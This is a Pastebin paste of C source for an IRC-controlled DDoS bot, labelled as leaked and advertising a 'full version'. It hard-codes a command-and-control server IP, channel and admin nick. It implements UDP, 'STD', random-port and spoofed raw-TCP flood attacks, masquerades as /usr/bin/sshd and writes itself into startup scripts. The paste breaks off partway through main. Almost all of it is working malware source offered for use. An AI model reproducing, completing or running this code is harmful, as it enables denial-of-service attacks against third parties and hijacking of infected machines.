Advertisement
Guest User

your nice mom

a guest
Dec 26th, 2017
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.67 KB | None | 0 0
  1. /*
  2. For full version contact me at Cocaina#1162
  3. _ _ _ _ _____ _
  4. | | | | | | | | / __ \ (_)
  5. | | ___ __ _| | _____ __| | | |__ _ _ | / \/ ___ ___ __ _ _ _ __ __ _
  6. | | / _ \/ _` | |/ / _ \/ _` | | '_ \| | | | | | / _ \ / __/ _` | | '_ \ / _` |
  7. | |___| __/ (_| | < __/ (_| | | |_) | |_| | | \__/\ (_) | (_| (_| | | | | | (_| |
  8. \_____/\___|\__,_|_|\_\___|\__,_| |_.__/ \__, | \____/\___/ \___\__,_|_|_| |_|\__,_|
  9. __/ |
  10. |___/
  11.  
  12. For full version contact me at Cocaina#1162
  13. /*
  14.  
  15. /********************************************************************\
  16. | CONFIGURE THESE |
  17. \********************************************************************/
  18.  
  19. // #### DEFAULT SETTINGS #### //
  20. int numservers=1;
  21. char *servers[] = {
  22. "46.166.185.62",
  23. (void*)0
  24. };
  25. static char *irc_port = ("6969");
  26. static char *irc_chan = ("#perl");
  27. char *admin = ("ZoneHax");
  28. char *bot_prefix = ("[VPS|420]");
  29.  
  30. // #### ATTACK MESSAGES #### //
  31. /* leave a space at the end of each msg for the ip address of the target */
  32. char *unk_msg = ("[UNK] Attacking");
  33. char *udp_msg = ("[UDP] Attacking");
  34. char *std_msg = ("[STD] Attacking");
  35. char *tcp_msg = ("[TCP] Attacking");
  36. char *syn_msg = ("[SYN] Attacking");
  37. char *ack_msg = ("[ACK] Attacking");
  38. char *fin_msg = ("[FIN] Attacking");
  39. char *rst_msg = ("[RST] Attacking");
  40. char *psh_msg = ("[PSH] Attacking");
  41.  
  42. // #### OTHER SETTINGS #### //
  43. #undef IDENT
  44. #define KEY "ZoneHax"
  45. #define PASS "ZoneHax"
  46. #define STARTUP
  47.  
  48.  
  49.  
  50.  
  51. /********************************************************************\
  52. | DO NOT EDIT UNLESS YOU GANGSTER AF |
  53. \********************************************************************/
  54. #define PREFIX ("%s",bot_prefix)
  55. #define PORT atol(irc_port)
  56. #define CHAN ("%s",irc_chan)
  57.  
  58. #define STD2_SIZE 50
  59. #define STD2_STRING "std"
  60. #define FAKENAME "/usr/bin/sshd"
  61.  
  62. #define PAD_RIGHT 1
  63. #define PAD_ZERO 2
  64. #define PRINT_BUF_LEN 12
  65. #define CMD_IAC 255
  66. #define CMD_WILL 251
  67. #define CMD_WONT 252
  68. #define CMD_DO 253
  69. #define CMD_DONT 254
  70. #define OPT_SGA 3
  71.  
  72. #include <stdlib.h>
  73. #include <stdarg.h>
  74. #include <stdio.h>
  75. #include <sys/socket.h>
  76. #include <sys/types.h>
  77. #include <netinet/in.h>
  78. #include <arpa/inet.h>
  79. #include <netdb.h>
  80. #include <signal.h>
  81. #include <strings.h>
  82. #include <string.h>
  83. #include <sys/utsname.h>
  84. #include <unistd.h>
  85. #include <fcntl.h>
  86. #include <errno.h>
  87. #include <netinet/ip.h>
  88. #include <netinet/udp.h>
  89. #include <netinet/tcp.h>
  90. #include <sys/wait.h>
  91. #include <sys/ioctl.h>
  92. #include <net/if.h>
  93.  
  94. int sock,changeservers=0;
  95. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0;
  96. unsigned int *pids;
  97. unsigned long spoofs=0, spoofsm=0, numpids=0;
  98.  
  99. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  100. switch((unsigned char)*pattern) {
  101. case '\0': return *string;
  102. case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  103. case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  104. case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  105. case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  106. case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  107. case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  108. case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  109. default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  110. }
  111. }
  112. int Send(int sock, char *words, ...) {
  113. static char textBuffer[1024];
  114. va_list args;
  115. va_start(args, words);
  116. vsprintf(textBuffer, words, args);
  117. va_end(args);
  118. return write(sock,textBuffer,strlen(textBuffer));
  119. }
  120. unsigned int host2ip(char *sender,char *hostname) {
  121. static struct in_addr i;
  122. struct hostent *h;
  123. if((i.s_addr = inet_addr(hostname)) == -1) {
  124. if((h = gethostbyname(hostname)) == NULL) {
  125. Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  126. exit(0);
  127. }
  128. bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  129. }
  130. return i.s_addr;
  131. }
  132. int mfork(char *sender) {
  133. unsigned int parent, *newpids, i;
  134. if (disabled == 1) {
  135. Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  136. return 1;
  137. }
  138. parent=fork();
  139. if (parent <= 0) return parent;
  140. numpids++;
  141. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  142. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  143. newpids[numpids-1]=parent;
  144. free(pids);
  145. pids=newpids;
  146. return parent;
  147. }
  148. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  149. char *makestring() {
  150. char *tmp;
  151. int len=(rand()%5)+4,i;
  152. FILE *file;
  153. tmp=(char*)malloc(len+1);
  154. memset(tmp,0,len+1);
  155. char *pre;
  156. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  157. else {
  158. int a=((rand()*rand())%45402)+1;
  159. char buf[1024];
  160. for (i=0;i<a;i++) fgets(buf,1024,file);
  161. memset(buf,0,1024);
  162. fgets(buf,1024,file);
  163. filter(buf);
  164. memcpy(tmp,buf,len);
  165. fclose(file);
  166. }
  167. return tmp;
  168. }
  169. void identd() {
  170. int sockname,sockfd,sin_size,tmpsock,i;
  171. struct sockaddr_in my_addr,their_addr;
  172. char szBuffer[1024];
  173. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  174. my_addr.sin_family = AF_INET;
  175. my_addr.sin_port = htons(113);
  176. my_addr.sin_addr.s_addr = INADDR_ANY;
  177. memset(&(my_addr.sin_zero), 0, 8);
  178. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  179. if (listen(sockfd, 1) == -1) return;
  180. if (fork() == 0) return;
  181. sin_size = sizeof(struct sockaddr_in);
  182. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  183. for(;;) {
  184. fd_set bla;
  185. struct timeval timee;
  186. FD_ZERO(&bla);
  187. FD_SET(tmpsock,&bla);
  188. timee.tv_sec=timee.tv_usec=60;
  189. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  190. if (FD_ISSET(tmpsock,&bla)) break;
  191. }
  192. i = recv(tmpsock,szBuffer,1024,0);
  193. if (i <= 0 || i >= 20) exit(0);
  194. szBuffer[i]=0;
  195. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  196. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  197. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  198. close(tmpsock);
  199. close(sockfd);
  200. exit(0);
  201. }
  202. long pow(long a, long b) {
  203. if (b == 0) return 1;
  204. if (b == 1) return a;
  205. return a*pow(a,b-1);
  206. }
  207. u_short in_cksum(u_short *addr, int len) {
  208. register int nleft = len;
  209. register u_short *w = addr;
  210. register int sum = 0;
  211. u_short answer =0;
  212. while (nleft > 1) {
  213. sum += *w++;
  214. nleft -= 2;
  215. }
  216. if (nleft == 1) {
  217. *(u_char *)(&answer) = *(u_char *)w;
  218. sum += answer;
  219. }
  220. sum = (sum >> 16) + (sum & 0xffff);
  221. sum += (sum >> 16);
  222. answer = ~sum;
  223. return(answer);
  224. }
  225. unsigned long getspoof() {
  226. if (!spoofs) return rand();
  227. if (spoofsm == 1) return ntohl(spoofs);
  228. return ntohl(spoofs+(rand() % spoofsm)+1);
  229. }
  230. struct send_tcp {
  231. struct iphdr ip;
  232. struct tcphdr tcp;
  233. char buf[20];
  234. };
  235. struct pseudo_header {
  236. unsigned int source_address;
  237. unsigned int dest_address;
  238. unsigned char placeholder;
  239. unsigned char protocol;
  240. unsigned short tcp_length;
  241. struct tcphdr tcp;
  242. char buf[20];
  243. };
  244. int getHost(unsigned char *toGet, struct in_addr *i) {
  245. struct hostent *h;
  246. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  247. return 0;
  248. }
  249.  
  250.  
  251.  
  252.  
  253. /*
  254. For full version contact me at Cocaina#1162
  255. _ _ _ _ _____ _
  256. | | | | | | | | / __ \ (_)
  257. | | ___ __ _| | _____ __| | | |__ _ _ | / \/ ___ ___ __ _ _ _ __ __ _
  258. | | / _ \/ _` | |/ / _ \/ _` | | '_ \| | | | | | / _ \ / __/ _` | | '_ \ / _` |
  259. | |___| __/ (_| | < __/ (_| | | |_) | |_| | | \__/\ (_) | (_| (_| | | | | | (_| |
  260. \_____/\___|\__,_|_|\_\___|\__,_| |_.__/ \__, | \____/\___/ \___\__,_|_|_| |_|\__,_|
  261. __/ |
  262. |___/
  263.  
  264. For full version contact me at Cocaina#1162
  265. /*
  266.  
  267.  
  268. // ***************************************************** \\
  269. // # STD FLOODER # \\
  270. // ***************************************************** \\*
  271. void std(int sock, char *sender, int argc, char **argv) {
  272. int flag=1,fd,i;
  273. unsigned long secs;
  274. struct hostent *hp;
  275. struct sockaddr_in in;
  276. time_t start=time(NULL);
  277. if (mfork(sender) != 0) return;
  278. if (argc < 2) {
  279. //Send(sock,"NOTICE %s :STD <target> <port> <secs>\n",sender);
  280. exit(1);
  281. }
  282. secs=atol(argv[3]);
  283. memset((void*)&in,0,sizeof(struct sockaddr_in));
  284. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  285. in.sin_family = AF_INET;
  286. Send(sock,"NOTICE %s :%s %s\n",sender,std_msg,argv[1]);
  287. while(1) {
  288. in.sin_port = atol(argv[2]);
  289. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  290. else {
  291. flag=1;
  292. ioctl(fd,FIONBIO,&flag);
  293. sendto(fd,STD2_STRING,STD2_SIZE,0,(struct sockaddr*)&in,sizeof(in));
  294. close(fd);
  295. }
  296. if (i >= 50) {
  297. if (time(NULL) >= start+secs) break;
  298. i=0;
  299. }
  300. i++;
  301. }
  302. close(fd);
  303. exit(0);
  304. }
  305.  
  306.  
  307. // ***************************************************** \\
  308. // # UDP FLOODER # \\
  309. // ***************************************************** \\*
  310. void udp(int sock, char *sender, int argc, char **argv) {
  311. int flag=1,fd,i;
  312. unsigned long secs;
  313. char *buf=(char*)malloc(9216);
  314. struct hostent *hp;
  315. struct sockaddr_in in;
  316. time_t start=time(NULL);
  317. if (mfork(sender) != 0) return;
  318. if (argc < 2) {
  319. //Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  320. exit(1);
  321. }
  322. secs=atol(argv[3]);
  323. memset((void*)&in,0,sizeof(struct sockaddr_in));
  324. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  325. in.sin_family = AF_INET;
  326. Send(sock,"NOTICE %s :%s %s\n",sender,udp_msg,argv[1]);
  327. while(1) {
  328. in.sin_port = atol(argv[2]);
  329. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  330. else {
  331. flag=1;
  332. ioctl(fd,FIONBIO,&flag);
  333. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  334. close(fd);
  335. }
  336. if (i >= 50) {
  337. if (time(NULL) >= start+secs) break;
  338. i=0;
  339. }
  340. i++;
  341. }
  342. close(fd);
  343. exit(0);
  344. }
  345.  
  346.  
  347. // ***************************************************** \\
  348. // # UNKNOWN FLOODER # \\
  349. // ***************************************************** \\*
  350. void unk(int sock, char *sender, int argc, char **argv) {
  351. int flag=1,fd,i;
  352. unsigned long secs;
  353. char *buf=(char*)malloc(9216);
  354. struct hostent *hp;
  355. struct sockaddr_in in;
  356. time_t start=time(NULL);
  357. if (mfork(sender) != 0) return;
  358. if (argc < 2) {
  359. //Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  360. exit(1);
  361. }
  362. secs=atol(argv[2]);
  363. memset((void*)&in,0,sizeof(struct sockaddr_in));
  364. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  365. in.sin_family = AF_INET;
  366. Send(sock,"NOTICE %s :%s %s\n",sender,unk_msg,argv[1]);
  367. while(1) {
  368. in.sin_port = rand();
  369. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  370. else {
  371. flag=1;
  372. ioctl(fd,FIONBIO,&flag);
  373. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  374. close(fd);
  375. }
  376. if (i >= 50) {
  377. if (time(NULL) >= start+secs) break;
  378. i=0;
  379. }
  380. i++;
  381. }
  382. close(fd);
  383. exit(0);
  384. }
  385.  
  386.  
  387. // ***************************************************** \\
  388. // # TCP FLOODER # \\
  389. // ***************************************************** \\*
  390.  
  391. // #### TCP ATTACK DEPENDENCIES #### //
  392. struct in_addr ourIP;
  393. unsigned char macAddress[6] = {0};
  394. static uint32_t Q[4096], c = 362436;
  395. unsigned short csum (unsigned short *buf, int count)
  396. {
  397. register uint64_t sum = 0;
  398. while( count > 1 ) { sum += *buf++; count -= 2; }
  399. if(count > 0) { sum += *(unsigned char *)buf; }
  400. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  401. return (uint16_t)(~sum);
  402. }
  403. uint32_t rand_cmwc(void)
  404. {
  405. uint64_t t, a = 18782LL;
  406. static uint32_t i = 4095;
  407. uint32_t x, r = 0xfffffffe;
  408. i = (i + 1) & 4095;
  409. t = a * Q[i] + c;
  410. c = (uint32_t)(t >> 32);
  411. x = t + c;
  412. if (x < c) {
  413. x++;
  414. c++;
  415. }
  416. return (Q[i] = r - x);
  417. }
  418. in_addr_t getRandomIP(in_addr_t netmask)
  419. {
  420. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  421. return tmp ^ ( rand_cmwc() & ~netmask);
  422. }
  423. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  424. {
  425.  
  426. struct tcp_pseudo
  427. {
  428. unsigned long src_addr;
  429. unsigned long dst_addr;
  430. unsigned char zero;
  431. unsigned char proto;
  432. unsigned short length;
  433. } pseudohead;
  434. unsigned short total_len = iph->tot_len;
  435. pseudohead.src_addr=iph->saddr;
  436. pseudohead.dst_addr=iph->daddr;
  437. pseudohead.zero=0;
  438. pseudohead.proto=IPPROTO_TCP;
  439. pseudohead.length=htons(sizeof(struct tcphdr));
  440. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  441. unsigned short *tcp = malloc(totaltcp_len);
  442. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  443. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  444. unsigned short output = csum(tcp,totaltcp_len);
  445. free(tcp);
  446. return output;
  447. }
  448. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  449. {
  450. iph->ihl = 5;
  451. iph->version = 4;
  452. iph->tos = 0;
  453. iph->tot_len = sizeof(struct iphdr) + packetSize;
  454. iph->id = rand_cmwc();
  455. iph->frag_off = 0;
  456. iph->ttl = MAXTTL;
  457. iph->protocol = protocol;
  458. iph->check = 0;
  459. iph->saddr = source;
  460. iph->daddr = dest;
  461. }
  462. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  463. {
  464. int got = 1, total = 0;
  465. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  466.  
  467. return got == 0 ? NULL : buffer;
  468. }
  469. int getOurIP()
  470. {
  471. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  472. if(sock == -1) return 0;
  473.  
  474. struct sockaddr_in serv;
  475. memset(&serv, 0, sizeof(serv));
  476. serv.sin_family = AF_INET;
  477. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  478. serv.sin_port = htons(53);
  479.  
  480. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  481. if(err == -1) return 0;
  482.  
  483. struct sockaddr_in name;
  484. socklen_t namelen = sizeof(name);
  485. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  486. if(err == -1) return 0;
  487.  
  488. ourIP.s_addr = name.sin_addr.s_addr;
  489.  
  490. int cmdline = open("/proc/net/route", O_RDONLY);
  491. char linebuf[4096];
  492. while(fdgets(linebuf, 4096, cmdline) != NULL)
  493. {
  494. if(strstr(linebuf, "\t00000000\t") != NULL)
  495. {
  496. unsigned char *pos = linebuf;
  497. while(*pos != '\t') pos++;
  498. *pos = 0;
  499. break;
  500. }
  501. memset(linebuf, 0, 4096);
  502. }
  503. close(cmdline);
  504.  
  505. if(*linebuf)
  506. {
  507. int i;
  508. struct ifreq ifr;
  509. strcpy(ifr.ifr_name, linebuf);
  510. ioctl(sock, SIOCGIFHWADDR, &ifr);
  511. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  512. }
  513.  
  514. close(sock);
  515. }
  516.  
  517. // #### TCP ATTACK FUNCTION #### //
  518. void tcp(int sock, char *sender, int argc, char **argv)
  519. {
  520. if(argc < 7) {
  521. // do nothing
  522. } else {
  523. register unsigned int pollRegister;
  524. pollRegister = atol(argv[7]);
  525.  
  526. struct sockaddr_in dest_addr;
  527.  
  528. dest_addr.sin_family = AF_INET;
  529. if(atol(argv[2]) == 0) dest_addr.sin_port = rand_cmwc();
  530. else dest_addr.sin_port = atol(argv[2]);
  531. if(getHost(strdup(argv[1]), &dest_addr.sin_addr)) return;
  532. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  533.  
  534. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  535. if(!sockfd)
  536. {
  537. //sockprintf(mainCommSock, "Failed opening raw socket.");
  538. return;
  539. }
  540.  
  541. int tmp = 1;
  542. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  543. {
  544. //sockprintf(mainCommSock, "Failed setting raw headers mode.");
  545. return;
  546. }
  547.  
  548. in_addr_t netmask;
  549.  
  550. if ( atol(argv[4]) == 0 ) netmask = ( ~((in_addr_t) -1) );
  551. else netmask = ( ~((1 << (32 - atol(argv[4]))) - 1) );
  552.  
  553. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + atol(argv[6])];
  554. struct iphdr *iph = (struct iphdr *)packet;
  555. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  556.  
  557. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + atol(argv[6]));
  558.  
  559. tcph->source = rand_cmwc();
  560. tcph->seq = rand_cmwc();
  561. tcph->ack_seq = 0;
  562. tcph->doff = 5;
  563.  
  564. if(!strcmp(strdup(argv[5]), "all"))
  565. {
  566. tcph->syn = 1;
  567. tcph->rst = 1;
  568. tcph->fin = 1;
  569. tcph->ack = 1;
  570. tcph->psh = 1;
  571. Send(sock,"NOTICE %s :%s %s\n",sender,tcp_msg,argv[1]);
  572. } else {
  573. unsigned char *pch = strtok(strdup(argv[5]), ",");
  574. while(pch)
  575. {
  576. if(!strcmp(pch, "syn"))
  577. {
  578. tcph->syn = 1;
  579. Send(sock,"NOTICE %s :%s %s\n",sender,syn_msg,argv[1]);
  580. } else if(!strcmp(pch, "rst"))
  581. {
  582. tcph->rst = 1;
  583. Send(sock,"NOTICE %s :%s %s\n",sender,rst_msg,argv[1]);
  584. } else if(!strcmp(pch, "fin"))
  585. {
  586. tcph->fin = 1;
  587. Send(sock,"NOTICE %s :%s %s\n",sender,fin_msg,argv[1]);
  588. } else if(!strcmp(pch, "ack"))
  589. {
  590. tcph->ack = 1;
  591. Send(sock,"NOTICE %s :%s %s\n",sender,ack_msg,argv[1]);
  592. } else if(!strcmp(pch, "psh"))
  593. {
  594. tcph->psh = 1;
  595. Send(sock,"NOTICE %s :%s %s\n",sender,psh_msg,argv[1]);
  596. } else {
  597. //sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  598. }
  599. pch = strtok(NULL, ",");
  600. }
  601. }
  602.  
  603. tcph->window = rand_cmwc();
  604. tcph->check = 0;
  605. tcph->urg_ptr = 0;
  606. tcph->dest = (atol(argv[2]) == 0 ? rand_cmwc() : atol(argv[2]));
  607. tcph->check = tcpcsum(iph, tcph);
  608.  
  609. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  610.  
  611. int end = time(NULL) + atol(argv[3]);
  612. register unsigned int i = 0;
  613. while(1)
  614. {
  615. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  616.  
  617. iph->saddr = htonl( getRandomIP(netmask) );
  618. iph->id = rand_cmwc();
  619. tcph->seq = rand_cmwc();
  620. tcph->source = rand_cmwc();
  621. tcph->check = 0;
  622. tcph->check = tcpcsum(iph, tcph);
  623. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  624.  
  625. if(i == pollRegister)
  626. {
  627. if(time(NULL) > end) break;
  628. i = 0;
  629. continue;
  630. }
  631. i++;
  632. }
  633. }
  634. }
  635.  
  636. // ***************************************************** \\
  637. // # SERVER CHANGER # \\
  638. // ***************************************************** \\*
  639. void move(int sock, char *sender, int argc, char **argv) {
  640. if (argc < 1) {
  641. // do nothing
  642. } else {
  643. if(strcasecmp(admin,sender) == 0) {
  644. server = strdup(argv[1]);
  645. changeservers = 1;
  646. close(sock);
  647. } else {
  648. Send(sock,"PRIVMSG %s :You do not have permission to do this.\n", chan);
  649. }
  650. }
  651. }
  652.  
  653.  
  654. // ***************************************************** \\
  655. // # COMMAND LIST # \\
  656. // ***************************************************** \\*
  657. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  658. { "+std" , std },
  659. { "+udp" , udp },
  660. { "+unk" , unk },
  661. { "+tcp" , tcp },
  662.  
  663. { "+killattk" , stop },
  664.  
  665.  
  666. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  667.  
  668.  
  669.  
  670.  
  671.  
  672. /*
  673. /$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$ /$$ /$$
  674. | $$$ /$$$ /$$__ $$ | $$ | $$ /$$__ $$| $$ |__/ | $$
  675. | $$$$ /$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$ | $$ \__/| $$$$$$$ /$$ /$$$$$$
  676. | $$ $$/$$ $$ /$$__ $$ /$$__ $$ /$$__ $$ | $$ | $$|_ $$_/ | $$__ $$ /$$__ $$ /$$__ $$ | $$$$$$ | $$__ $$| $$|_ $$_/
  677. | $$ $$$| $$| $$ \ $$| $$ \__/| $$$$$$$$ | $$ | $$ | $$ | $$ \ $$| $$$$$$$$| $$ \__/ \____ $$| $$ \ $$| $$ | $$
  678. | $$\ $ | $$| $$ | $$| $$ | $$_____/ | $$ | $$ | $$ /$$| $$ | $$| $$_____/| $$ /$$ \ $$| $$ | $$| $$ | $$ /$$
  679. | $$ \/ | $$| $$$$$$/| $$ | $$$$$$$ | $$$$$$/ | $$$$/| $$ | $$| $$$$$$$| $$ | $$$$$$/| $$ | $$| $$ | $$$$/
  680. |__/ |__/ \______/ |__/ \_______/ \______/ \___/ |__/ |__/ \_______/|__/ \______/ |__/ |__/|__/ \___/
  681. */
  682. void _PRIVMSG(int sock, char *sender, char *str) {
  683. int i;
  684. char *to, *message;
  685.  
  686. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  687. str[i]=0;
  688. to=str;
  689. message=str+i+2;
  690. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  691. sender[i]=0;
  692. if (*message == '>' && !strcasecmp(to,chan)) {
  693. char *params[12], name[1024]={0};
  694. int num_params=0, m;
  695. message++;
  696. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  697. message[i]=0;
  698. if (strwildmatch(message,nick)) return;
  699. message+=i+1;
  700. m=strlen(message);
  701. for (i=0;i<m;i++) {
  702. if (*message == ' ' || *message == 0) break;
  703. name[i]=*message;
  704. message++;
  705. }
  706. for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  707. num_params++;
  708. if (num_params > 10) num_params=10;
  709. params[0]=name;
  710. params[num_params+1]="\0";
  711. m=1;
  712. while (*message != 0) {
  713. message++;
  714. if (m >= num_params) break;
  715. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  716. params[m]=(char*)malloc(i+1);
  717. strncpy(params[m],message,i);
  718. params[m][i]=0;
  719. m++;
  720. message+=i;
  721. }
  722. for (m=0; flooders[m].cmd != (char *)0; m++) {
  723. if (!strcasecmp(flooders[m].cmd,name)) {
  724. flooders[m].func(sock,sender,num_params-1,params);
  725. for (i=1;i<num_params;i++) free(params[i]);
  726. return;
  727. }
  728. }
  729. }
  730. }
  731. void _376(int sock, char *sender, char *str) {
  732. Send(sock,"MODE %s +pixB\n",nick);
  733. Send(sock,"JOIN %s :%s\n",chan,key);
  734. Send(sock,"WHO %s\n",nick);
  735. }
  736. void _PING(int sock, char *sender, char *str) {
  737.  
  738. Send(sock,"PONG %s\n",str);
  739.  
  740. }
  741.  
  742. void _352(int sock, char *sender, char *str) {
  743. int i,d;
  744. char *msg=str;
  745. struct hostent *hostm;
  746. unsigned long m;
  747. for (i=0,d=0;d<5;d++) {
  748. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  749. if (i == strlen(str)) return;
  750. }
  751. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  752. msg[i]=0;
  753. if (!strcasecmp(msg,nick) && !spoofsm) {
  754. msg=str;
  755. for (i=0,d=0;d<3;d++) {
  756. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  757. if (i == strlen(str)) return;
  758. }
  759. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  760. msg[i]=0;
  761. if ((m = inet_addr(msg)) == -1) {
  762. if ((hostm=gethostbyname(msg)) == NULL) {
  763. //Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  764. return;
  765. }
  766. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  767. }
  768. ((char*)&spoofs)[3]=((char*)&m)[0];
  769. ((char*)&spoofs)[2]=((char*)&m)[1];
  770. ((char*)&spoofs)[1]=((char*)&m)[2];
  771. ((char*)&spoofs)[0]=0;
  772. spoofsm=256;
  773. }
  774. }
  775. void _433(int sock, char *sender, char *str) {
  776. free(nick);
  777. char tempnick[50];
  778. char *strpref = PREFIX;
  779. char *genname = makestring();
  780. strcpy(tempnick,strpref);
  781. strcat(tempnick,genname);
  782. nick=tempnick;
  783. }
  784.  
  785. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  786. { "352", _352 },
  787. { "376", _376 },
  788. { "433", _433 },
  789. { "422", _376 },
  790. { "PRIVMSG", _PRIVMSG },
  791. { "PING", _PING },
  792. { (char *)0, (void (*)(int,char *,char *))0 } };
  793. void con() {
  794. struct sockaddr_in srv;
  795. unsigned long ipaddr,start;
  796. int flag;
  797. struct hostent *hp;
  798. start:
  799. sock=-1;
  800. flag=1;
  801. if (changeservers == 0) server=servers[rand()%numservers];
  802. changeservers=0;
  803. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  804. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  805. if ((hp = gethostbyname(server)) == NULL) {
  806. server=NULL;
  807. close(sock);
  808. goto start;
  809. }
  810. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  811. }
  812. else srv.sin_addr.s_addr=inet_addr(server);
  813. srv.sin_family = AF_INET;
  814. srv.sin_port = htons(PORT);
  815. ioctl(sock,FIONBIO,&flag);
  816. start=time(NULL);
  817. while(time(NULL)-start < 10) {
  818. errno=0;
  819. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  820. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  821. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  822. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  823. return;
  824. }
  825. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  826. sleep(1);
  827. }
  828. server=NULL;
  829. close(sock);
  830. goto start;
  831. }
  832. int main(int argc, char *argv[]) {
  833. int on,i;
  834. char cwd[256],*str;
  835. FILE *file;
  836. #ifdef STARTUP
  837. str="/etc/rc.d/rc.local";
  838. file=fopen(str,"r");
  839. if (file == NULL) {
  840. str="/etc/rc.conf";
  841. file=fopen(str,"r");
  842. }
  843. if (file != NULL) {
  844. char outfile[256], buf[1024];
  845. int i=strlen(argv[0]), d=0;
